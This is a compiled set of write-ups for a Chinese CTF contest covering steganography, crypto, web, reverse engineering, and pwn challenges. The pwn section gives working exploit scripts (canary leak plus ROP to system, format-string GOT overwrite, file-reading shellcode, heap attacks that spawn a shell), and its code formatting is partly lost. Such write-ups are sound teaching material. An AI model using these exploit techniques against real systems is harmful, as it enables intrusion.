~ 春水碧于天,画船听雨眠 ~
首先感谢各位师傅在国庆节可以聚在一起参加这一次比赛活动,这是我们第一次举办此类活动有很多不足之处还希望各位师傅多多包涵。
感谢各位出题人做出的贡献,感谢武汉网盾科技的赞助支持,奖品陆陆续续会在 wp 审核完成后,两周内送出。奖品皆可转让奥。
这里的wp由 辰(孤辰) 同学整合,在线地址:
http://sec.54cto.com/all_wp.pdf
我会从 misc 开始为大家开始讲解,那么废话不多说我们开始吧!
Misc
Recover
首先看 key.txt 的内容,提示是魔鬼的语言,搜索可以知道是温州话,一一对应得到
yai-1
lje-2
sa-3
ng-5
lou-6
cai-7
jiao-9
6b65793a796f755f6172655f736f5f636c65766572
然后进行 hex 解码,得到 key:you_are_so_clever
然后在 010 中打开生瓜蛋子.png,在文件尾处发现 04 03 4B 50 的字样,刚好是 zip 文件头逆序
使用脚本将全部十六进制逆序,得到压缩包,密码即上面的 key:you_are_so_clever
将 flagggg.zip 放到 010 中全选,进行异或运算,即可还原出 zip 文件
用 010 查看图片
结尾的这段 a2V5Ojk1Mjc= 经过 base64 解密得到:key:9527
然后将 9527 作为密钥,使用 outguess 解密,将得到的内容保存在 flag.txt 中
命令:outguess -k “9527” -r flaggg.jpg flag.txt
得到 flag{C0n9ratu1ati0ns!_you_are_so_cool}
诗词
这道题呢主要考察如何查找隐藏文件和通过工具进行分离。
首先打开压缩包中的 time.docx 文件
全选然后右键鼠标,字体模块点两次隐藏文字
会发现隐藏文字:世界是一个巨大的压缩包
联想到 docx 文件格式与 zip 文件格式类似,将该.docx 文件改为.zip 后缀文件。
打开之后发现只有一张图片值得观察
将图片提取出来。用 010 打开拉到尾部,发现不是正常图片结尾,里面应该是有压缩包,可
以使用 binwalk 等工具分离,或者找到图片尾,进行手动分离
得到的压缩包中有很多零字节的 txt 文件,看到日期是 2038 年 1 月 19 日会发现不对劲。结,合题目名称,想到时间戳
将日期转换成时间戳,取 8-10 位的 ascii 码转换成对应字符即可得到 flag
用下面的脚本转换或者时间转换成时间戳的工具都可以
import os
for i in range(29):
filename =
"D:/Users/40835PycharmProjectspythonProject.venvstego{0}.txt".format(i)
file_attr = os.stat(filename)#读取文件属性
create_time = str(file_attr.st_ctime)#获取创建时间
print(chr(int(create_time[7:10])),end='')
flag{0h!Y0u_4re_Time_M4ster!}
longpy
修改高度得到
提示 pyc
在文件末尾找到 pyc 数据,将数据另存为 pyc,在线网站反编译后,得到提示
'Stegosaurus pyc'
Pyc 隐写,使用工具 Stegosaurus 解得
海尔之眼
海尔之眼解题思路:
题目给出两张图,在另一张发现 key
Key:15740
根据题目名称提示想到 silentEye:沉默之眼,解得
flag{h@r_X4_Ya2}
在 jpg 文件尾发现 zip 数据,丢失了文件头补充得到
使用上面得到得 flag{}里面的作为密码解密得到 flag
flag{c3ad4d3b-39f0-5675-6c6f-b56036e654d3}
decode
不得不说时针老师的思维是真的活跃,他这个图说句实话,我找了半天,真的无语,那么吐槽完我们开始讲解
打开 hint.txt,从左下角开始按照图片中的顺序拼接字符
得到句子:frank firmly believes that the candy was stolen by natasha
压缩包密码就是 natasha
打开其中的图片,翻到图片尾发现后面还有数据
将后面冗余的数据另存一个文件,这里文件名我改成 1,前面图片也提取出来作为密钥。
用 veracrypt 挂载 4 这个文件,提取出的图片作为密钥文件。
之后点击那个磁盘会发现存在一张图片
发现图片高度似乎不对,修改图片高度,将图中这两个字节任意调高即可
得到 flag{y0u_g0t_1t}
wu_kong
我不会不要看我,直接上大佬的 wp
解题思路:题目给了两张图片,010 查看猴子猴孙,发现数据块有问题
提取补全 png 头
得到 key,再分析 png 图
在结尾发现 snow 隐写,key 即为上面的 key
将 snow 的内容另存
得到提示,想到双图 xor,将两个图的 rgb 通道 xor
得到 flag
from PIL import Image
def xor_two_images(image_path1, image_path2):
img1 = Image.open(image_path1)
img2 = Image.open(image_path2)
if img1.size!= img2.size:
raise ValueError("Images must have the same size.")
pixels1 = img1.load()
pixels2 = img2.load()
width, height = img1.size
new_img = Image.new('RGBA', (width, height))
new_pixels = new_img.load()
for y in range(height):
for x in range(width):
r1, g1, b1, a1 = pixels1[x, y]
r2, g2, b2, a2 = pixels2[x, y]
new_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2, a1 ^ a2)
new_img.save('xor_result1.png')
image_path1 = '无标题 77.png'
image_path2 = '猴.png'
xor_two_images(image_path1, image_path2)
flag:flag{9ba77acb-c736-70ee-1993-0d0c2a1012ee)
看过那年的雪吗?
相比很多师傅都做过这道题了吧,就是 ctfshow 上的原题,算是送分的了。(不要告诉辰辰你们没有好好刷题)
没什么好说的,上 wp:
Morehight
使用 010 editor 打开图片,因为这个 16 进制编辑器,有模版功能,当我们运行模版后,可以轻易的找到图片的各个数据块的位置以及内容。
我们找到 IHDR 数据块,并翻到 struct IHDR Ihdr 位置,修改 height 的值到一个较大的值,如
从 700 修改到 800。
MC
游戏题 wp:从 git 上下载 seedcrackerX-2.14.4.jar,找到五个沉船后 mod 会自动开始解 seed,过几分钟即
可获得 seed。(小声嘟嘟我也没看懂)
Crypto
At
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_')
一眼aaencode编码,也可以随波逐流梭哈,
uozt{Mr_s@L_Z!!!}
根据题目想到atbash编码,注意一些工具和在线网站解密会全部小写,但正确答案包含大小写,
flag{Ni_h@O_A!!!}
AES&BASE
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
# 固定的前8字节密钥部分(题目给出)
fixed_key_part = b'fixedpart'[:8]
# 秘密字符串的前缀(题目给出)
secret_prefix = b'secret_'
# Base64编码的密文和IV(题目给出)
encoded_data = '[lg/hfCVaU7OGl11oy7JsUzozFojJSjBmYt6BGY+sO/KCKkQxdXzHjiJP1AM0eoTH]'
# 您收到了一段使用AES-CBC模式加密的密文,同时您知道了密钥的一部分生成规则:
# 密钥的前8字节是固定的,后8字节是通过某个秘密字符串的后三位数字(000-999)与特定前缀(例如secret_)
# 进行SHA-256哈希后取前8字节得到的。您的任务是编写一个Python脚本,尝试所有可能的三位数字组合,
# 以找到正确的密钥,并解密密文,获取其中的flag。
# -----------请写出你的解密过程,获取flag-------------
# 对Base64编码的密文和IV进行解码
decoded_data = base64.b64decode(encoded_data)
received_iv = decoded_data[:16]
received_encrypted_data = decoded_data[16:]
# 暴力破解秘密字符串的后三位数字
for suffix in range(1000): # 000-999
suffix_str = f'{suffix:03d}' # 确保是三位数,例如'001'
key_part2 = hashlib.sha256(secret_prefix + suffix_str.encode()).digest()[:8]
full_key = fixed_key_part + key_part2
# 尝试使用当前密钥解密密文
try:
decrypt_cipher = AES.new(full_key, AES.MODE_CBC, received_iv)
decrypted_data = decrypt_cipher.decrypt(received_encrypted_data)
decrypted_plaintext = unpad(decrypted_data, AES.block_size)
# 检查明文是否包含'flag{',以确认是否找到了正确的密钥
if decrypted_plaintext.startswith(b'flag{'):
print(f'Decrypted plaintext: {decrypted_plaintext.decode()}')
break # 找到正确的密钥后退出循环
except Exception as e:
# 如果解密失败(例如由于填充错误),则继续尝试下一个密钥
pass
输出结果:Decrypted plaintext: flag{Crypto_shuangyuSec_@2024}
XOR
# 题目
def xor_encrypt(data, key):
encrypted_data = bytearray()
for char in data:
encrypted_data.append(ord(char) ^ key)
return encrypted_data.hex() # 返回十六进制字符串作为加密结果
# 以下是使用该函数加密后的一个十六进制字符串:
encrypted_string = '7a6f796973746865666c6167'
# 加密时所用的密钥(key)是 13(注意:这只是一个示例,实际题目中可以使用不同的密钥)
# 你的任务是解密这个十六进制字符串,找出它隐藏的信息,并将其格式化为 flag{*}
# 请将你的答案以 print(f"flag{{{your_decrypted_message}}}") 的形式输出
# 答案参考
def xor_decrypt(hex_data, key):
data_bytes = bytes.fromhex(hex_data) # 将十六进制字符串转换为字节
decrypted_data = bytearray()
for byte in data_bytes:
decrypted_data.append(byte ^ key) # XOR解密
return decrypted_data.decode('utf-8') # 将解密后的字节解码为字符串
# 给定的加密十六进制字符串和密钥
encrypted_string = '7a6f796973746865666c6167'
key = 13
# 解密字符串
decrypted_string = xor_decrypt(encrypted_string, key)
# 输出解密后的结果,注意格式
print(f"flag{{{decrypted_string}}}")
"""
flag{wbtd~yehkalj}
"""
你真的喜欢 CTF 吗?
培根密码,flagdoyoulikectf
其实这块就已经出来了,那个大写的 F 就是为了区分后面 flag 设置的,在这里向大家说对
不起,没给提示。
没有 key
根据题目提示同函数相同,功能互逆,没有key的信息,猜到是rot13函数,处理之后得到的结果仍然疑似base32,尝试base32解码得到:
明显需要翻转(字符串倒序),翻转后继续解base32,得到:
仍然需要翻转,按照此思路不停重复操作,共10次后flag依稀可见
直到得到如下结果:
得到“EREHSIGALF”。
附完整py脚本:
import base64
from pycipher import Caesar
key = 13
txt = ****'UH6G2CXOVIYRJI2PXMPHVFXXWWYRRH2AXMNIZF2JXAYRBEFYWWSQRF2FWAYRBAXYXEWIPIXSWOARFIEFXMRIZFFXWASSTIFCXIOIZFFHTWWH6EFTYWSR2F2FVIPRLGFYWDMSTIXSVEYRJJPYXMPHVGXXWWUGRH2YXMTSHF2HTWWIFIXOWWTRBZFGVIYRZJFWWWWIBAPIVAYRJIOFXSRIZEFXWWRHJIFKVISH4FXDXAWIXIXTXMSIDF2JVIPRDEFXTVMSPGXJWAURJGOFXMUHXEFBWWYGRIPAXMQSZFXVXAYRJIXYTISIRH2AWAQRZJFXWESIZD2JWEURJGWFXAOHZGF2WSPSTIFSVEPRZFEFVAXRJIXXYWSIVD2HX5XGRHXWXMSIVG2JWWSRJF2GXEUHXEOIWSYGRIXIXMQSHF2QVAYSBIXXWMSSBZFFXIXHZJFYXOWIZI2IVEQRHZFGXWRIZD2JWAWIHIXGXHMR2FXJWAXHFIFXXWSRHF2BWIPHLAXWX4MSTG2SVMSRFGXYXWQHZGPBWSXGRH2AVMOIZF2BWAXHXIPVWWSRHH2KWIXHVIFYXEWIVI2SWMWRFEFQWMQHZJFEWATITH2KVIPR4FFGTWWITIXTWWSRBH2FTWXHBGFYYOWITAPSVAARFIEFXMYIXEFXWWWITH2AXMRRHF2ZXAWSXEXXXWSRZZFJWIQRRGFYWESIVE2RVEURHHMFXSYHXEFXWWRSTHFCVITRHF2LWAWH2EFRXMRIXJFIV5QRFGFXW5WITGXJVMSRJIPYXWYHXGFJWSYHJIXUVMASXF2XWAURFIXQTISIVZFIX5PHZIFUVAWIZH2IWWSRBI2YXARHVJFIWAZSTIFUVIOH4FFGXAWHJIFTWMSIVZFGXIPHVHFXXISIRF2JWWSRHFFGX42RXEPBWAXQRH2MXIQSHFFZXAYRBEFZWMSRXH2GXIQRVJFYXOSIZEXRWIQRHIFPXESIXE2XWAXRTIPCVIQRHFFKWAWR2EF2YSSHJH2GXSXHTAXYXHMSPFXJVMYRHH2XXWYHXFFBWSWIRHMHXIOIHFXVXAYRBEFSVMSQRD2GWAPGRGXYXEOIBI2SWOQRHIEFXMPHZFFBWASITIFAVITQXFXFTWXIPEFTXMQHVF2JTWPHJGFYWDMSTFXRWMARFGPQXMYIXGPTWWASTGXYXMSSRF2ZVAYSBEXVTIRIBZFGVAQSHFXUWWSH4JXSVD2HFIWFXAVIXEXXWEPITHEFVISRHE2TXAWGVEXUYWRHDH2IV5QRBFFXTWWIRF2JWIURJH2PXMXHXEPBWSQRTGFCXMSRHFFXXAYIXEXZXMSSBH2AWIPHZFFYVISIRF2JV5URJEWFXAPHZEP2WATRTIFUXITRHFFCTWWHJIXRYWSIVD2KXAPHLJFWV5SIRE2JWWORLFPGXAXIXF2BWWYGRIXKXIPSHF2UWAWR6IFYWWQIXF2GWIYRRIFYWWWIVI2SVMURHIFFXASHZJFMWWPSTIFGVIUSHFFTTWYRXIFPXWSHLH2KWIPHLIFXXDMSXAFSVMARHGXQXWSIXF2XWEYRJH2AVMOIHF2JTWXIBIXUWMSR6D2HWIXHDFFYWDMSPIXSWMARFEXYXWQHZJFAWASITHFKXISIZFFITWXIFIXTWWSHBH2JX5PHJFFUV5SITIXTVIYRFIFGXIYHXE2BWWWGRHFAXMQHHF2HTWWSXIXSXMRQXFFDTWXQZIXV'********
****print(txt)
txt = Caesar(key=13).encipher(txt,keep_punct=****True****)
print(txt)
txt = base64.b32decode(txt)
print(str(txt))
txt = txt[::-1]
txt = base64.b32decode(txt)
print(str(txt))
txt = txt[::-1]
txt = base64.b32decode(txt)
print(str(txt))
txt = txt[::-1]
txt = base64.b32decode(txt)
print(str(txt))
txt = txt[::-1]
txt = base64.b32decode(txt)
print(str(txt))
txt = txt[::-1]
txt = base64.b32decode(txt)
print(str(txt))
txt = txt[::-1]
txt = base64.b32decode(txt)
print(str(txt))
txt = txt[::-1]
txt = base64.b32decode(txt)
print(str(txt))
txt = txt[::-1]
txt = base64.b32decode(txt)
print(str(txt))
txt = txt[::-1]
txt = base64.b32decode(txt)
print(str(txt))
txt = Caesar(key=13).decipher(str(txt),keep_punct=****True****)
print(txt)
flag{flagishere}
一元积分
根据编码可以得出这是一个base85的编码,可以写出脚本进行编码。
import base64
# 要编码的字符串
data = "RMbpoP9B1wmOMH8kLz9P0ml(I3v="
# 将字符串转换为字节
data_bytes = data.encode('utf-8')
# 使用base64进行Base85编码
encoded_bytes = base64.b85encode(data_bytes)
# 将编码后的字节转换回字符串
encoded_str = encoded_bytes.decode('utf-8')
print(f"Encoded Base85: {encoded_str}")
得出下一步:QcYrTZ%{cxF?VfGO-MLvOnNy`Fl}roNi%jm
将这串密码放入文件中取得flag
PWN
signin
from pwnfunc import *
io, elf, libc = pwn_initial()
set_context(term="tmux_split", arch="amd64")
"""amd64 i386 arm arm64 riscv64"""
prdi = 0x000000000040071E
ru(b"Enter your name: ")
sl(b"1")
ru(b"Introduce yourself: ")
payload = b"a" * (0x8 * 3 - 1) + b"Z"
sl(payload)
ru(b"Zn")
canary = u(r(7).rjust(8, b" "))
success(hex(canary))
ru(b"Say something: ")
payload = (
b"a" * (0x8 * 3)
+ p(canary)
+ b"a" * 8
+ p(prdi)
+ p(elf.got["read"])
+ p(elf.sym["puts"])
+ p(0x000000000400737)
)
sl(payload)
leak_got = u(r(6).ljust(8, b" "))
success(hex(leak_got))
base = leak_got - 0x110020
system = base + 0x4F420
success(hex(system))
binsh = 0x000000000600CF0
payload = (
b"a" * (0x8 * 3)
+ p(canary)
+ b"a" * 8
+ p(0x0000000000400596)
+ p(prdi)
+ p(binsh)
+ p(system)
)
ru(b"Enter your name: ")
sl(b"/bin/sh ")
ru(b"Introduce yourself: ")
sl(b"1")
ru(b"Say something: ")
sl(payload)
ia()
真·签到
sh
cat flag
ez_fmt
from pwnfunc import *
io, elf, libc = pwn_initial()
set_context(term="tmux_split", arch="amd64")
"""amd64 i386 arm arm64 riscv64"""
ru(b"Gift for you: ")
read = int(r(len(str(0x7F175D9A37D0))), 16)
success(hex(read))
system = read - 0x110020 + 0x4F420
base = 8
ru(b"Enter a fmt string:")
payload = fmtstr_payload(base, {elf.got["exit"]: p(elf.sym["main"])})
sl(payload)
ru(b"Enter a fmt string:")
payload = fmtstr_payload(base, {elf.got["printf"]: p(system)})
sl(payload)
sl(b"/bin/shx00")
ia()
ez_sandbox
from pwnfunc import *
io, elf, libc = pwn_initial()
set_context(term="tmux_split", arch="amd64")
"""amd64 i386 arm arm64 riscv64"""
shellcode = """
/* openat(file='/flag', oflag=0, mode=0) */
/* push b'flagx00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c66
xor [rsp], rax
mov rsi, rsp
mov rdi, -100
mov rdx, 0
mov r8, 0
/* call open() */
mov rax, 0x101
syscall
mov r10,rsp
add r10,100
mov qword ptr [rsp],r10
mov qword ptr [rsp+8],1024
mov rdi, rax
mov rax, 19
mov rsi,rsp
mov rdi,3
mov rdx, 1
syscall
mov eax, 20
mov edi, 1
mov rsi, rsp
mov rdx, 1
syscall
"""
s(asm(shellcode))
ia()
babyheap
from pwnfunc import *
io, elf, libc = pwn_initial()
set_context(term="tmux_split", arch="amd64")
"""amd64 i386 arm arm64 riscv64"""
def menu():
ru(b"Enter your choice: ")
def alloc(idx, size, content):
menu()
sl(b"1")
ru(b":")
sl(str(idx))
ru(b":")
sl(str(size))
ru(b":")
sl(content)
def free(idx):
menu()
sl(b"3")
ru(b":")
sl(str(idx))
def edit(idx, size, content):
menu()
sl(b"2")
ru(b":")
sl(str(idx))
ru(b":")
sl(str(size))
if size == 0:
return
else:
ru(b":")
sl(content)
def show(idx):
menu()
sl(b"4")
ru(b":")
sl(str(idx))
ru(b"What's this?: ")
backdoor = int(r(8), 16)
alloc(0, 0x90, b"aa")
alloc(1, 0x60, b"aa")
alloc(2, 0x60, b"aa")
edit(0, 0, b"")
show(0)
ru(b"0: ")
leak = u(r(6).ljust(8, b" "))
# free_hook = leak + 0x01C30
fake_fast = leak - 0x7B
success(hex(fake_fast))
# ps()
edit(1, 0, b"")
edit(2, 0, b"")
success(hex(backdoor))
edit(1, 0x60, p(fake_fast))
alloc(3, 0x60, b"aa")
alloc(4, 0x60, b"aa")
alloc(5, 0x60, b"a" * 0x3 + p(backdoor))
menu()
sl(b"1")
ru(b":")
sl(str(6))
ru(b":")
sl(str(0x10))
ia()
babyheap_revenge
from pwnfunc import *
io, elf, libc = pwn_initial()
set_context(term="tmux_split", arch="amd64")
"""amd64 i386 arm arm64 riscv64"""
def menu():
ru(b"Enter your choice: ")
def alloc(idx, size, content):
menu()
sl(b"1")
ru(b":")
sl(str(idx))
ru(b":")
sl(str(size))
ru(b":")
s(content)
def free(idx):
menu()
sl(b"3")
ru(b":")
sl(str(idx))
def edit(idx, content):
menu()
sl(b"2")
ru(b":")
sl(str(idx))
ru(b":")
s(content)
def show(idx):
menu()
sl(b"4")
ru(b":")
sl(str(idx))
base = 0
for i in range(9):
alloc(base, 0x20, b"a")
base += 1
free(4)
free(3)
payload = b"a" * (0x90 - 1) + b"Z"
edit(0, payload)
show(0)
ru(b"Z")
heap0 = u(r(4).ljust(8, b" ")) - 0xC0
heap_base = heap0 - 0x490
success(hex(heap_base))
pause() # 这里看运气,如果heap的地址不是4字节长就得重新运行exp,懒得修这个bug了
payload = (
p(0) * 4 + p(0x31) + p(0xA1) + p(0) * 2 * 9 + p(0xA1) + p(0x21) + p(0x21) + p(0x11)
)
edit(0, payload)
free(1)
payload = b"a" * 8 * 5 + b"a" * 7 + b"Z"
edit(0, payload)
show(0)
ru(b"Z")
leak = u(r(6).ljust(8, b" "))
leak -= 0x3C3B78
success(hex(leak))
fake_fast = leak + 0x3C3AED
og = leak + 0xEF9F4
"""0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv"""
payload = (
p(0) * 5 * 2 + p(0) + p(0x71) + p(0) * 2 * 6 + p(0x61) + p(0x11) + p(0x11) + p(0x11)
)
edit(0, payload)
free(2)
payload = p(0) * 5 * 2 + p(0) + p(0x71) + p(fake_fast)
edit(0, payload)
alloc(1, 0x60, b"a")
alloc(2, 0x60, b"a" * 0x13 + p(heap0 + 0x10))
payload = asm(shellcraft.sh())
edit(0, payload)
free(1)
menu()
sl(b"1")
ru(b":")
sl(str(1))
ru(b":")
sl(str(0x10))
ia()
Web
web1
<?php
highlight_file('index.php');
// 密码锁PHP代码
// 这是一个超级复杂的密码生成函数(其实并不复杂)
function generate_password($seed) {
// 初始化一些变量
$a = 1;
$b = 1;
$n = $seed;
// 斐波那契数列生成,但是有点特别
for ($i = 0; $i < $n; $i++) {
$temp = $a + $b + $i; // 注意这里的变种斐波那契
$a = $b;
$b = $temp;
}
// 将最后的斐波那契数作为密码的一部分
$password_part1 = $b;
// 还有一些其他的运算
$password_part2 = ($seed * $seed + $seed + 1) % 1000; // 这是一个二次函数模运算
// 密码是这两部分的组合,但是中间有一个固定的分隔符
$password = $password_part1 . '-' . $password_part2;
return $password;
}
// 检查用户输入的密码是否正确
if (isset($_POST['password'])) {
$user_password = $_POST['password'];
$seed = $_SERVER['REMOTE_ADDR'] % 100; // 使用用户的IP地址作为种子
$correct_password = generate_password($seed);
if ($user_password === $correct_password) {
echo "密码正确,网页解锁!";
// 这里可以放置flag或者其他奖励内容
highlight_file('flag.php');
} else {
echo "密码错误,请重试。";
}
}
?>
<!-- 简单的HTML表单 -->
<!DOCTYPE html>
<html>
<head>
<title>密码锁</title>
</head>
<body>
<form method="post" action="index.php">
<label for="password">请输入密码:</label>
<input type="text" id="password" name="password">
<input type="submit" value="解锁">
</form>
</body>
</html>
emmm,这个想必不难吧,拿到本地调试,替换变量即可
算法什么的不重要,重要的是代码逻辑
然后输入正确的密码就可以获得flag
web 签到
最简单的办法,查看源码即可
Re
百度
web篇章
拉到css最后,发现是一个aes的提示
上解密
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
key = "0KzSrImRtVwdh7UonVrQK1TXA++PTBs/3qTxwFLXTRw="
iv = "ywz2evC5YAg0pz+Xvkd2eQ=="
data = "4tdJizgiux0hs4CJjzYbBYQxlSkJDL0i8fxZuoRyuWE="
key = base64.b64decode(key)
iv = base64.b64decode(iv)
encrypted_data = base64.b64decode(data)
# 创建 AES 解密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 解密数据,并去除填充
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size).decode()
# 输出解密后的字符串
print("Decrypted Data:", decrypted_data)
后面的是随机文件名称,所以需要写脚本
脚本参考
import requests
import base64
# Obfuscate the correct password
correct_password = 'the_ultimate_password123'
# URL of the target
url = 'http://ctf.54cto.com:49166/'
# Data to POST
data = {
'password': correct_password
}
# Send the POST request
response = requests.post(url, data=data)
if 'Password check successful' in response.text:
print('Password check was successful, here is the link to download the file:')
# Extract the download link (simple regex for this example)
import re
match = re.search(r'href=['"]?([^'" >]+)', response.text)
if match:
download_link = match.group(1)
print(f'Download link: {download_link}')
# Optionally download the file
file_content = requests.get(url + download_link).text
print('File content:', file_content)
else:
print('Failed to check the password.')
需要对html源码分析这样就会得到一个url
下载文件进入逆向篇章
逆向篇章
我使用了upx工具进行聊了加壳,需要脱壳还原程序,具体参考 https://blog.csdn.net/qq_53532337/article/details/120571437
脱壳后参考:https://blog.csdn.net/weixin_43074474/article/details/108572025
这道题目求flag和前两题差不多,只要能读懂showflag函数,就能得到正确的flag,下面先写一下求flag的思路和过程。 程序中会有一些预先给定的数据,这些数据每个占一个字节,从rbp+var_20开始连续存放,最后一个数据放在rbp+var_10+4处。rbp+var_24充当计数器使用,初始时的值0,每成功比较一个字节之后,它的值就加一,当它大于20时,整个字符串比较结束,输出输入正确的提示。用户的输入数据存放在rdi寄存器指向的存储单元,运算部分的公式是:
输入的字节 xor 计数器的值 + 计数器的值 = 程序预先给定的值 我们现在需要求出输入的字节是什么,因此根据根据异或运算的性质,有如下公式:
输入的字节 = (程序预先给定的值 - 计数器的值)xor 计数器的值 有了上面的公式,剩下的工作就可以通过用C++写个程序来求输入的flag了。 我感觉这道题的难点在于修改程序的二进制代码。最初我以为程序没有输入输出是因为源代码中没有调用输入输出函数,所以我想着通过添加汇编指令的方式来解决这个问题,但是上网搜索了一通之后发现,没有关于添加汇编指令的教程,那我想既然添加不了汇编指令,那添加二进制指令总可以吧,但是网上只有修改二进制指令的教程,而没有添加或删除的教程。后来我想了一下,不能添加或者删除是有道理的,因为编译器在把源程序编译成二进制代码时,就已经确定了数据和指令的地址,如果添加或者删除了某条指令,那么从添加的位置开始,它之后的所有指令的位置都会发生改变,那么这个程序就无法运行了。想通了这一点,我又重新了阅读了源码,发现问题是出在main函数上,如下图所示。
main函数不知道为什么提前结束了,因为在main proc near这个函数声明之后就是retn语句,这样会使得main什么也没做就结束了,然后还发现main函数之后的代码就是用来输入输出的,这时我想到了计算机系统基础上曾经介绍过的nop指令,它什么也不做,但是会占用一个时钟周期,所以我尝试把retn改成nop指令,之后在Linux上运行会提示segmentation fault,虽然不太明白为什么会报段错误,但是我知道通过插入nop指令来解决输入输出问题肯定是不行了,后来偶然间发现retn的下一条指令是mov rbp rsp,这不是函数调用时才会有的指令吗,为什么会出现在这儿?难道这也是某个函数的一部分?原来这道题目的程序是被修改之后的,而不是源代码直接编译出来的,它把本来的push rbp指令改成了retn指令。按照这种思路,我把retn该回到push rbp,经过运行发现,我的猜想是正确的。
题目答案:flag{patch_your_file}
解题思路
-
脱壳:首先,参赛者需要识别并脱去UPX壳。这通常可以通过动态分析或专门的脱壳工具实现。 -
逆向分析:使用IDA Pro、Ghidra、或Radare2等逆向工具,分析程序的控制流和数据流,获取flag。
jeb
把 apk 文件改为 zip 文件解压 然后使用 apktools 把.dex 文件转为.jar 文件,使用
gadx-gui 打开.jar 文件,在 MainActivity 中 中 发现是对 字符串 Tenshine 进行一系列加密,最后等于输入的flag,于是直接将 加密两个的函数,checkSN() ,toHexString()
的代码复制下来,对Tenshine 进行加密即可。
Pyc
exe解包pyc,补充pyc的文件的头,再pyc反编译
使用pyinstxtractor.py解包
python pyinstxtractor.py 3.exe
进入目录下的3.exe_extracted文件夹,用WinHex打开struct文件和1文件
发现main首字节是E3,而struct文件的E3在第17字节,所以需要将struct文件的前16字节粘贴到main文件前,补齐一下文件头
将1改成1.pyc,然后pyc反编译
# -*- coding: UTF-8 -*-
def exp():
a = ''
